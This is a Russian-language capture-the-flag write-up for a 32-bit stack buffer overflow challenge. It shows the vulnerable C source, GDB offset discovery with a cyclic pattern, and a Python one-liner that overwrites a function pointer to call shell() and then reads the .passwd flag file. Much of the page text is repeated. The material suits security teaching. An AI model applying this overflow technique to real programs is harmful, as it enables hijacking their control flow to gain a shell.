ELF x86 - Stack buffer overflow basic 2
Environment configuration :
Source code :
Решение
На этот раз есть харденинг защита в стеке и в куче. Она запрещается выполнять код в этих областях памяти. Но эта защита нам ни чем не мешает. Она просто есть, для того чтобы нельзя было пихнуть свой шеллкод так сказать. Решается это дело тоже очень просто. Суть задачи вызвать функцию shell которая предоставит нам командную оболочку, а затем мы сможем получить флаг.
Запускаем программу под GDB и скармливаем ей
Получаем адрес смещения 0x33654132
128 байт область смещения.
128+4 вся область которая перезаписывает регистр EIP.
Теперь узнаем адрес функции shell.
Функция shell находится в памяти по адресу 0x08048464
Отлично теперь составим эксплойт
Вот так вот можно взять второй флаг.
Environment configuration :
PIE | Position Independent Executable |
![]() |
RelRO | Read Only relocations | ![]() |
NX | Non-Executable Stack | ![]() |
Heap exec | Non-Executable Heap | ![]() |
ASLR | Address Space Layout Randomization | ![]() |
SF | Source Fortification | ![]() |
SSP | Stack-Smashing Protection | ![]() |
SRC | Source code access | ![]() |
Source code :
C:
/*
gcc -m32 -fno-stack-protector -o ch15 ch15.c
*/
#include <stdio.h>
#include <stdlib.h>
void shell() {
system("/bin/dash");
}
void sup() {
printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}
main()
{
int var;
void (*func)()=sup;
char buf[128];
fgets(buf,133,stdin);
func();
}
На этот раз есть харденинг защита в стеке и в куче. Она запрещается выполнять код в этих областях памяти. Но эта защита нам ни чем не мешает. Она просто есть, для того чтобы нельзя было пихнуть свой шеллкод так сказать. Решается это дело тоже очень просто. Суть задачи вызвать функцию shell которая предоставит нам командную оболочку, а затем мы сможем получить флаг.
Запускаем программу под GDB и скармливаем ей
Ссылка скрыта от гостей
.gdb -q ./ch15
r
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Получаем адрес смещения 0x33654132
Ссылка скрыта от гостей
128 байт область смещения.
128+4 вся область которая перезаписывает регистр EIP.
Теперь узнаем адрес функции shell.
disas shell
q
y,enter.
Функция shell находится в памяти по адресу 0x08048464
Отлично теперь составим эксплойт
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)';cat) | ./ch15
cat .passwd
Вот так вот можно взять второй флаг.
Последнее редактирование: